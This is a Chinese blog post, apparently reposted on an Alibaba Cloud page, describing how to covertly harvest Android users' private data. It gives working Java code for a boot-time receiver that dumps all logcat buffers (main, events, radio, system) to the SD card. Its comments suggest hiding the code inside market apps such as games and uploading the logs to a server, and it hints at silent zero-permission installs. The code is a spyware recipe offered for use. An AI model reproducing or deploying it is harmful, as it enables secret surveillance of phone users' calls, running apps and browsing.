拋磚引玉 之 誰動了我的隱私(android使用者隱私窺探)

來源:互聯網
上載者:User

使用者的隱私永遠是第一位的,使用者的隱私也是最值錢的。

最近各大門戶相繼被泄露。。。保管好自己的密碼就行了

這裡我就扯一下android下面搞使用者隱私的方法,也算是android的一個疏忽。

但最主要的,還是使用者在安裝apk時對許可權警告的無視,就猶如我們所有社區的密碼設定成相同一樣。

罪魁禍首就是logcat。以及一個許可權檢測的bug.

 

1、開機啟動

  程式如何開機啟動?那就是接受一個關於開機的廣播,具體流程是這樣的,首先在 資訊清單檔 聲明一個許可權   

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    

  然後就是寫receiver以及在清單中設定了。

        <receiver android:name ="org.igeek.hack.reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >

  

public class HackReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
................
}
}

 

  其實呢,完全可以不必聲明許可權,照樣使用。

  android的包管理器在檢測到使用者要安裝apk時,只是掃描一下清單中的許可權聲明,然後列出許可權警告給使用者,上面根本沒有聲明這個許可權,所以不會列出來,但不影響使用,這個bug一直堅守到了4.0.

 

2、窺探隱私

  我們要記錄使用者的一切,從開機開始!

  安卓的一些調試工具,是預設整合在rom中的,比如logcat,不止是sdk中攜帶,而是每部安卓手機以及平板都有的。

  而且,安卓架構會向log緩衝區寫入所有的Log,具體是這幾類:main、events、radio、system。這些Log緩衝區基本上涵蓋了手機啟動並執行方方面面。

  進入正題,我們會用到Process類,也就是進程類,dalvik會分裂出一個進程來執行其它本地程式,就像在shell中打入命令,shell分裂一個進程來運行它一樣,我們只需要把shell下的命令寫成字串,直接扔給process即可。

別忘了再加入這兩個許可權

    <uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

 

  1 //簡單的樣本,這些代碼可以附加到某個market的應用裡,比如遊戲等等
2 //其實有些廣告的sdk,需要一大堆許可權,好多都需要開機啟動
3 //我想,可能是收集使用者資訊來分析使用者的行為,來進行定點投放廣告吧
4 public class HackReceiver extends BroadcastReceiver {
5
6 @Override
7 public void onReceive(Context context, Intent intent) {
8
9 ///main
10 Runnable r1=new Runnable() {
11
12 @Override
13 public void run() {
14 writeLog("org.igeek.hack.main.log", "main");
15 }
16 };
17 ///events
18 Runnable r2=new Runnable() {
19
20 @Override
21 public void run() {
22 writeLog("org.igeek.hack.events.log", "events");
23 }
24 };
25 ///radio
26 Runnable r3=new Runnable() {
27
28 @Override
29 public void run() {
30 writeLog("org.igeek.hack.radio.log", "radio");
31 }
32 };
33 ///system
34 Runnable r4=new Runnable() {
35
36 @Override
37 public void run() {
38 writeLog("org.igeek.hack.system.log", "system");
39 }
40 };
41
42 Thread t1=new Thread(r1);
43 Thread t2=new Thread(r2);
44 Thread t3=new Thread(r3);
45 Thread t4=new Thread(r4);
46
47
48
49 t1.start();
50 t2.start();
51 t3.start();
52 t4.start();
53 }
54
55 //你懂得
56 private void writeLog(String file,String content){
57 try {
58 StringBuilder command = new StringBuilder("logcat" );
59
60 File devFile = new File( Environment.getExternalStorageDirectory(),file );
61 if (devFile.createNewFile()){
62 command.append(" -b " ).append(content);
63
64
65 //命令格式是: logcat -b main
66 //logcat -b radio 等等
67 Process process = Runtime.getRuntime().exec(command.toString());
68
69
70 //這裡,將本地程式的標準輸出,也就是std::out轉成java的輸入資料流
71 InputStream input = process.getInputStream();
72 BufferedReader reader = new BufferedReader( new InputStreamReader(input));
73
74 //再把轉入的輸入資料流搞成輸出資料流,這裡放到sd卡的目錄裡面
75 FileOutputStream output=new FileOutputStream(devFile);
76 BufferedOutputStream bot=new BufferedOutputStream(output);
77
78 Log.e("hack", "記錄LOG -> "+"sd:"+file);
79 String log;
80 while((log = reader.readLine()) != null){
81
82 //其實在輸入資料流擷取後,可以根據規則摘取想要的資訊
83 //沒有必要通吃
84
85
86 //在關機前,這個迴圈是很難跳出的
87 bot.write(log.getBytes());
88
89
90 //這裡呢,可以學學騎驢250,將擷取的資料上傳到伺服器
91 /*
92 虛擬碼
93
94 在清單中添加個Internet許可權,相信使用者也不會多心的
95
96
97 go:串連伺服器
98 go:壓縮並上傳資料
99
100
101 */
102 }
103 bot.close();
104 output.close();
105 reader.close();
106 input.close();
107
108 //親手測試一下,你會驚訝的發現,誰給你打電話、你當前運行什麼程式、
109 //你看什麼不該看的網頁,都一一記錄在案
110
111
112 }
113 } catch (IOException e) {
114 //have a nice day
115 e.printStackTrace();
116 }
117 }
118
119 }

就說這麼多,感興趣的可以研究研究market的安裝方法,以及market uri,可以做到0許可權靜默安裝高許可權apk。

 最後,請關注我的 拋磚引玉 系列,會有更多精彩內容

原創,轉載請註明  http://hangxin1940.cnblogs.com

這裡僅當拋磚引玉,本人水平有限,難免有些疏漏或者錯誤,還請指正!!!

 

 

 

 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.